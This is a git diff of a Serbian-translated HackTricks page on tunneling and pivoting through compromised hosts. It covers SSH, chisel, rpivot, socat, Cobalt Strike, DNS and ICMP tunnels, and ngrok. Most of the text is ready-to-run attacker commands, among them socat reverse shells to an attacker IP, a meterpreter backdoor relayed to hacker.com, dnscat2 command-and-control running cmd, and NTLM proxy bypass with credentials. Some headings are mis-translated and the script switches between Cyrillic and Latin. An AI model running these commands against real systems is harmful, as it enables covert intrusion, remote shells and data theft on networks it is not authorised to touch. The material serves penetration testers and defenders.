SSH графичка веза (X)
|
||||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### Lokalno preusmeravanje porta
|
||||
### Local Port2Port
|
||||
|
||||
Otvorite novi port na SSH serveru --> Drugi port
|
||||
```bash
|
||||
|
@ -74,9 +77,9 @@ Lokalni port --> Kompromitovani host (SSH) --> Gde god
|
|||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Obrnuto prosleđivanje porta
|
||||
### Обратно пренос порта
|
||||
|
||||
Ovo je korisno za dobijanje obrnutih ljuski sa internih domaćina preko DMZ-a do vašeg domaćina:
|
||||
Ово је корисно за добијање обрнутог шелла из унутрашњих хостова преко DMZ-а до вашег хоста:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
|
@ -85,9 +88,9 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||||
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
||||
```
|
||||
### VPN-Tunel
|
||||
### VPN-Tunnel
|
||||
|
||||
Potrebno je **root u oba uređaja** (jer ćete kreirati nove interfejse) i sshd konfiguracija mora dozvoliti root prijavljivanje:\
|
||||
Potrebni su vam **root na oba uređaja** (jer ćete kreirati nove interfejse) i sshd konfiguracija mora dozvoliti root prijavu:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -97,7 +100,7 @@ ifconfig tun0 up #Activate the client side network interface
|
|||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||||
ifconfig tun0 up #Activate the server side network interface
|
||||
```
|
||||
Omogućite prosleđivanje na serverskoj strani
|
||||
Omogućite prosleđivanje na strani servera
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||
|
@ -108,13 +111,13 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||
```
|
||||
## SSHUTTLE
|
||||
|
||||
Možete **tunelovati** sav **saobraćaj** ka **podmreži** preko hosta.\
|
||||
Na primer, prosleđivanje sav saobraćaj koji ide ka 10.10.10.0/24
|
||||
Možete **tunelovati** putem **ssh** sav **saobraćaj** ka **podmreži** kroz host.\
|
||||
Na primer, proslediti sav saobraćaj koji ide ka 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
```
|
||||
Povežite se pomoću privatnog ključa
|
||||
Povežite se sa privatnim ključem
|
||||
```bash
|
||||
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
# -D : Daemon mode
|
||||
|
@ -123,14 +126,12 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
|||
|
||||
### Port2Port
|
||||
|
||||
Lokalni port --> Kompromitovani host (aktivna sesija) --> Treća\_kutija:Port
|
||||
Lokalni port --> Kompromitovana mašina (aktivna sesija) --> Treća\_mašina:Port
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS (Socket Secure) je protokol koji omogućava rutiranje mrežnog saobraćaja između klijenta i servera putem proxy servera. SOCKS koristi port 1080 i može biti korišćen za tuneliranje različitih vrsta mrežnog saobraćaja, uključujući TCP i UDP.
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
|
@ -138,7 +139,7 @@ use auxiliary/server/socks_proxy
|
|||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
Drugi način:
|
||||
Još jedan način:
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
|
@ -155,7 +156,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### SOCKS proxy
|
||||
|
||||
Otvorite port u tim serveru koji sluša na svim interfejsima i može se koristiti za **usmeravanje saobraćaja kroz beacon**.
|
||||
Otvorite port na teamserver-u koji sluša na svim interfejsima koji se mogu koristiti za **usmeravanje saobraćaja kroz beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -166,16 +167,22 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
U ovom slučaju, **port je otvoren na hostu zastavici**, a ne na Tim Serveru i saobraćaj se šalje na Tim Server, a odatle ka naznačenom hostu:port
|
||||
U ovom slučaju, **port je otvoren na beacon host-u**, a ne na Team Server-u, a saobraćaj se šalje na Team Server i odatle na navedeni host:port
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
### rPort2Port lokalno
|
||||
To note:
|
||||
|
||||
- Beaconova reverzna port preusmeravanja je dizajnirana da **tuneluje saobraćaj ka Team Server-u, a ne za preusmeravanje između pojedinačnih mašina**.
|
||||
- Saobraćaj je **tunelovan unutar Beaconovog C2 saobraćaja**, uključujući P2P linkove.
|
||||
- **Administratorske privilegije nisu potrebne** za kreiranje reverznih port preusmeravanja na visokim portovima.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
U ovom slučaju, **port je otvoren na hostu Beacon-a**, a ne na Team Server-u i **saobraćaj je poslat ka Cobalt Strike klijentu** (ne ka Team Server-u) i odatle ka naznačenom hostu:port.
|
||||
U ovom slučaju, **port je otvoren na beacon host-u**, a ne na Team Server-u i **saobraćaj se šalje Cobalt Strike klijentu** (ne na Team Server) i odatle na navedeni host:port
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -185,16 +192,16 @@ rportfwd_local stop [bind port]
|
|||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
Potrebno je da otpremite web fajl tunel: ashx|aspx|js|jsp|php|php|jsp
|
||||
Morate da otpremite web fajl tunel: ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
## Dizalica
|
||||
## Chisel
|
||||
|
||||
Možete je preuzeti sa stranice sa izdanjima [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Potrebno je koristiti **istu verziju za klijenta i server**
|
||||
Možete ga preuzeti sa stranice za izdanja [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Morate koristiti **istu verziju za klijenta i server**
|
||||
|
||||
### čarape
|
||||
### socks
|
||||
```bash
|
||||
./chisel server -p 8080 --reverse #Server -- Attacker
|
||||
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
|
||||
|
@ -203,7 +210,7 @@ Potrebno je koristiti **istu verziju za klijenta i server**
|
|||
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
||||
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
||||
```
|
||||
### Prosleđivanje porta
|
||||
### Prosleđivanje portova
|
||||
```bash
|
||||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||||
|
@ -212,8 +219,8 @@ Potrebno je koristiti **istu verziju za klijenta i server**
|
|||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Obrnuti tunel. Tunel se pokreće sa strane žrtve.\
|
||||
Socks4 proxy je kreiran na 127.0.0.1:1080
|
||||
Obrnuti tunel. Tunel se pokreće sa žrtve.\
|
||||
Socks4 proxy se kreira na 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
|
@ -221,7 +228,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
|||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Prođite kroz **NTLM proxy**
|
||||
Pivot through **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
@ -238,7 +245,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
|||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
```
|
||||
### Obrnuti shell
|
||||
### Obrnuta ljuska
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
|
@ -247,11 +254,11 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### Port2Port preko čarapa
|
||||
### Port2Port kroz socks
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter putem SSL Socata
|
||||
### Meterpreter kroz SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
|
@ -261,17 +268,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
|||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Možete zaobići **neovlašćeni proxy** izvršavanjem ove linije umesto poslednje u konzoli žrtve:
|
||||
Možete zaobići **neautentifikovani proxy** izvršavajući ovu liniju umesto poslednje u konzoli žrtve:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunel
|
||||
### SSL Socat Tuner
|
||||
|
||||
**/bin/sh konzola**
|
||||
|
||||
Kreirajte sertifikate na obe strane: Klijentu i Serveru
|
||||
Kreirajte sertifikate na obe strane: Klijent i Server
|
||||
```bash
|
||||
# Execute these commands on both sides
|
||||
FILENAME=socatssl
|
||||
|
@ -285,7 +292,7 @@ chmod 600 $FILENAME.key $FILENAME.pem
|
|||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||
```
|
||||
### Udalljeni Port2Port
|
||||
### Remote Port2Port
|
||||
|
||||
Povežite lokalni SSH port (22) sa 443 portom napadačkog hosta
|
||||
```bash
|
||||
|
@ -297,7 +304,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
|
||||
To je kao konzolna verzija PuTTY-a (opcije su vrlo slične ssh klijentu).
|
||||
|
||||
Pošto će se ovaj binarni fajl izvršiti na žrtvi i to je ssh klijent, moramo otvoriti naš ssh servis i port kako bismo imali reverznu konekciju. Zatim, da bismo prosledili samo lokalno dostupan port na port našeg računara:
|
||||
Pošto će ova binarna datoteka biti izvršena na žrtvi i to je ssh klijent, potrebno je da otvorimo naš ssh servis i port kako bismo imali obrnutu vezu. Zatim, da bismo preusmerili samo lokalno dostupni port na port na našoj mašini:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -318,10 +325,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
Potrebno je da imate **RDP pristup sistemu**.\
|
||||
Morate imati **RDP pristup preko sistema**.\
|
||||
Preuzmite:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Ovaj alat koristi `Dynamic Virtual Channels` (`DVC`) funkciju Remote Desktop Service opcije Windows-a. DVC je odgovoran za **tuneliranje paketa preko RDP veze**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Ovaj alat koristi `Dynamic Virtual Channels` (`DVC`) iz funkcije Remote Desktop Service u Windows-u. DVC je odgovoran za **tunelovanje paketa preko RDP veze**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Na vašem klijentskom računaru učitajte **`SocksOverRDP-Plugin.dll`** na sledeći način:
|
||||
|
@ -329,28 +336,28 @@ Na vašem klijentskom računaru učitajte **`SocksOverRDP-Plugin.dll`** na slede
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Sada možemo **povezati** se sa **žrtvom** preko **RDP** koristeći **`mstsc.exe`**, i trebali bismo dobiti **prozor** koji kaže da je **SocksOverRDP dodatak omogućen**, i da će **slušati** na **127.0.0.1:1080**.
|
||||
Sada možemo **povezati** se sa **žrtvom** preko **RDP** koristeći **`mstsc.exe`**, i trebali bismo primiti **poruku** koja kaže da je **SocksOverRDP plugin omogućen**, i da će **slušati** na **127.0.0.1:1080**.
|
||||
|
||||
**Povežite** se preko **RDP** i otpremite i izvršite na mašini žrtve binarni fajl `SocksOverRDP-Server.exe`:
|
||||
**Povežite** se putem **RDP** i otpremite & izvršite na mašini žrtve `SocksOverRDP-Server.exe` binarni fajl:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Sada potvrdite na vašem računaru (napadaču) da li port 1080 osluškuje:
|
||||
Sada, potvrdite na vašem računaru (napadaču) da port 1080 sluša:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Sada možete koristiti [**Proxifier**](https://www.proxifier.com/) **da biste usmjerili saobraćaj kroz taj port.**
|
||||
Sada možete koristiti [**Proxifier**](https://www.proxifier.com/) **da proksirate saobraćaj kroz tu port.**
|
||||
|
||||
## Proksifikuj Windows GUI aplikacije
|
||||
## Proksiranje Windows GUI aplikacija
|
||||
|
||||
Možete omogućiti Windows GUI aplikacijama da koriste proxy korišćenjem [**Proxifier**](https://www.proxifier.com/).\
|
||||
U **Profile -> Proxy Servers** dodajte IP adresu i port SOCKS servera.\
|
||||
U **Profile -> Proxification Rules** dodajte ime programa za proksifikaciju i veze ka IP adresama koje želite da proksifikujete.
|
||||
Možete naterati Windows GUI aplikacije da prolaze kroz proksi koristeći [**Proxifier**](https://www.proxifier.com/).\
|
||||
U **Profil -> Proksi serveri** dodajte IP adresu i port SOCKS servera.\
|
||||
U **Profil -> Pravila proksiranja** dodajte ime programa koji želite da proksirate i veze ka IP adresama koje želite da proksirate.
|
||||
|
||||
## NTLM zaobilaženje proxy-ja
|
||||
## NTLM proksi zaobilaženje
|
||||
|
||||
Prethodno pomenuti alat: **Rpivot**\
|
||||
**OpenVPN** takođe može da ga zaobiđe, podešavanjem ovih opcija u konfiguracionom fajlu:
|
||||
**OpenVPN** takođe može da ga zaobiđe, postavljajući ove opcije u konfiguracionom fajlu:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
|
@ -358,8 +365,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Autentikuje se protiv proksi servera i vezuje lokalni port koji se prosleđuje ka spoljnoj usluzi koju odredite. Zatim, možete koristiti alat po vašem izboru preko ovog porta.\
|
||||
Na primer, prosleđuje port 443
|
||||
Ovaj alat se autentifikuje protiv proksija i vezuje port lokalno koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru kroz ovaj port.\
|
||||
Na primer, prosledite port 443.
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -367,12 +374,12 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Sada, ako postavite na primer na žrtvi **SSH** servis da sluša na portu 443. Možete se povezati na njega preko napadačevog porta 2222.\
|
||||
Takođe možete koristiti **meterpreter** koji se povezuje na localhost:443 dok napadač sluša na portu 2222.
|
||||
Sada, ako na primer postavite na žrtvi **SSH** servis da sluša na portu 443. Možete se povezati na njega kroz port 2222 napadača.\
|
||||
Takođe možete koristiti **meterpreter** koji se povezuje na localhost:443, a napadač sluša na portu 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
Obrnuti proxy kreiran od strane Microsoft-a. Možete ga pronaći ovde: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
Obrnuti proxy koji je kreirao Microsoft. Možete ga pronaći ovde: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS Tunneling
|
||||
|
||||
|
@ -380,13 +387,13 @@ Obrnuti proxy kreiran od strane Microsoft-a. Možete ga pronaći ovde: [https://
|
|||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Potreban je root na oba sistema da bi se kreirali tun adapteri i tunelovali podaci između njih korišćenjem DNS upita.
|
||||
Root je potreban na oba sistema da bi se kreirali tun adapteri i tunelovali podaci između njih koristeći DNS upite.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
Tunel će biti vrlo spor. Možete kreirati kompresovanu SSH konekciju kroz ovaj tunel korišćenjem:
|
||||
Tunel će biti veoma spor. Možete kreirati kompresovanu SSH vezu kroz ovaj tunel koristeći:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
|
@ -394,7 +401,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
|||
|
||||
[**Preuzmite ga ovde**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Uspostavlja C\&C kanal preko DNS-a. Ne zahteva root privilegije.
|
||||
Uspostavlja C\&C kanal putem DNS-a. Ne zahteva root privilegije.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
|
@ -405,21 +412,21 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||
```
|
||||
#### **U PowerShell-u**
|
||||
|
||||
Možete koristiti [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) da pokrenete dnscat2 klijenta u PowerShell-u:
|
||||
Možete koristiti [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) da pokrenete dnscat2 klijent u powershell-u:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
```
|
||||
#### **Prosleđivanje porta pomoću dnscat**
|
||||
#### **Preusmeravanje portova sa dnscat**
|
||||
```bash
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Promena proxychains DNS
|
||||
|
||||
Proxychains presreće `gethostbyname` libc poziv i tuneliše tcp DNS zahtev kroz socks proxy. Podrazumevano, DNS server koji proxychains koristi je 4.2.2.2 (hardkodiran). Da biste ga promenili, izmenite fajl: _/usr/lib/proxychains3/proxyresolv_ i promenite IP adresu. Ako se nalazite u Windows okruženju, možete postaviti IP adresu kontrolera domena.
|
||||
Proxychains presreće `gethostbyname` libc poziv i tuneluje tcp DNS zahtev kroz socks proxy. Po **default-u** DNS server koji proxychains koristi je **4.2.2.2** (hardkodiran). Da biste ga promenili, uredite datoteku: _/usr/lib/proxychains3/proxyresolv_ i promenite IP. Ako ste u **Windows okruženju** možete postaviti IP **domen kontrolera**.
|
||||
|
||||
## Tuneli u Go-u
|
||||
## Tunneli u Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
|
@ -430,7 +437,7 @@ Proxychains presreće `gethostbyname` libc poziv i tuneliše tcp DNS zahtev kroz
|
|||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Potreban je root na oba sistema kako bi se kreirali tun adapteri i tunelovali podaci između njih koristeći ICMP echo zahteve.
|
||||
Root je potreban u oba sistema da bi se kreirali tun adapteri i tunelovali podaci između njih koristeći ICMP echo zahteve.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
|
@ -454,8 +461,8 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||
```
|
||||
## ngrok
|
||||
|
||||
**[ngrok](https://ngrok.com/) je alatka za izlaganje rešenja na internetu jednom komandom.**
|
||||
*URI za izlaganje su poput:* **UID.ngrok.io**
|
||||
**[ngrok](https://ngrok.com/) je alat za izlaganje rešenja internetu u jednoj komandnoj liniji.**
|
||||
*URI za izlaganje su kao:* **UID.ngrok.io**
|
||||
|
||||
### Instalacija
|
||||
|
||||
|
@ -471,9 +478,9 @@ chmod a+x ./ngrok
|
|||
|
||||
**Dokumentacija:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*Takođe je moguće dodati autentikaciju i TLS, ako je potrebno.*
|
||||
*Takođe je moguće dodati autentifikaciju i TLS, ako je potrebno.*
|
||||
|
||||
#### Tunelovanje TCP
|
||||
#### Tunneling TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
|
@ -481,28 +488,28 @@ chmod a+x ./ngrok
|
|||
# Listen (example): nc -nvlp 4444
|
||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||
```
|
||||
#### Otkrivanje fajlova putem HTTP
|
||||
#### Izlaganje fajlova putem HTTP-a
|
||||
```bash
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Sniffing HTTP poziva
|
||||
#### Sniffing HTTP calls
|
||||
|
||||
*Koristan za XSS, SSRF, SSTI ...*
|
||||
Direktno sa stdout-a ili preko HTTP interfejsa [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
Direktno iz stdout-a ili u HTTP interfejsu [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tuneliranje internih HTTP servisa
|
||||
#### Tunneling internal HTTP service
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
# With basic auth
|
||||
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
|
||||
```
|
||||
#### Primer jednostavne konfiguracije ngrok.yaml
|
||||
#### ngrok.yaml jednostavan primer konfiguracije
|
||||
|
||||
Otvora 3 tunela:
|
||||
Otvara 3 tunela:
|
||||
- 2 TCP
|
||||
- 1 HTTP sa izlaganjem statičkih fajlova sa lokacije /tmp/httpbin/
|
||||
- 1 HTTP sa izlaganjem statičkih fajlova iz /tmp/httpbin/
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
|
@ -528,14 +535,17 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
